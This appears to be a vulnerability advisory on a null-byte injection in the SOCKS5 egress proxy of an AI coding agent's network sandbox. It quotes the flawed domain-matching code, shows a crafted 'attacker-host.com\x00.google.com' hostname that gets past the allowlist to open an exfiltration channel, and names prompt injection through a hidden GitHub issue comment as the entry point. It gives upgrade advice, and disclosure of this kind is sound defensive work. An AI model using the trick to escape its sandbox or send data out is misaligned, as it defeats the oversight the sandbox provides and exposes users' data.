Second Time, Same Sandbox: Another Anthropic Claude Code Network Sandbox Bypass Enables Data Exfiltration

What it is

A SOCKS5 hostname null-byte injection in Anthropic Claude Code's network sandbox (the egress proxy provided by the sandbox-runtime library, versions ≤ 0.0.42). An attacker running code inside the sandbox can reach any blocked host despite a wildcard allowlist. It is the second complete bypass of this sandbox by an outside researcher; the first was CVE-2025-66479 (empty allowedDomains: [] misread as "allow everything").

How it works

OS-level enforcement (sandbox-exec on macOS, bubblewrap on Linux) correctly pins the sandboxed process to localhost. Egress decisions are delegated to a SOCKS5 proxy running on the host with full network privileges — that is where the flaw lives. The proxy hands the raw DOMAINNAME bytes from the CONNECT request straight into a JS endsWith() check with no canonicalization:

// sandbox-runtime <= 0.0.42
function matchesDomainPattern(hostname: string, pattern: string): boolean {
  if (pattern.startsWith('*.')) {
    const baseDomain = pattern.substring(2)
    return hostname.toLowerCase().endsWith('.' + baseDomain.toLowerCase())
  }
  return hostname.toLowerCase() === pattern.toLowerCase()
}

JavaScript treats \x00 as an ordinary UTF-16 code unit; libc getaddrinfo treats it as a C string terminator. So attacker-host.com\x00.google.com passes endsWith('.google.com'), while the OS resolves and dials attacker-host.com.

sequenceDiagram
  participant P as Sandboxed process
  participant Proxy as SOCKS5 proxy (JS filter, host)
  participant DNS as getaddrinfo (libc)
  P->>Proxy: CONNECT attacker-host.com\x00.google.com
  Note over Proxy: endsWith('.google.com') → ALLOW
  Proxy->>DNS: resolve(same string)
  Note over DNS: terminates at \x00 → attacker-host.com
  DNS-->>Proxy: A record for attacker-host.com
  Proxy->>P: blocked host reached — exfil channel open

Preconditions / Affected

• Claude Code with sandbox mode enabled and a wildcard allowedDomains allowlist (e.g. *.google.com).
• Attacker capability to run code in the sandbox — realistically via prompt injection (e.g. a hidden instruction in a GitHub issue comment Claude Code reads).
• Every release from v2.0.24 (sandbox GA, 2025-10-20) through v2.1.89 was vulnerable to at least one of the two bugs.

What to do

• Upgrade to v2.1.90 (released 2026-04-01), which silently fixed the null-byte injection. Note: v2.0.55 (2025-11-26) fixed Finding 1 but still shipped this bug.
• Do not rely on the allowlist as a hard boundary on the affected versions; there was, per the author, no release where the sandbox actually enforced egress correctly.

Caveats

• No Claude Code advisory, changelog note, or CVE was issued for either finding; CVE-2025-66479 was filed against the sandbox-runtime library, not the product users configure. Users could only learn of exposure by reverse-engineering cli.js or reading this post.
• Fixes were "silent," so the exact patched commit is not independently confirmed here beyond the stated version.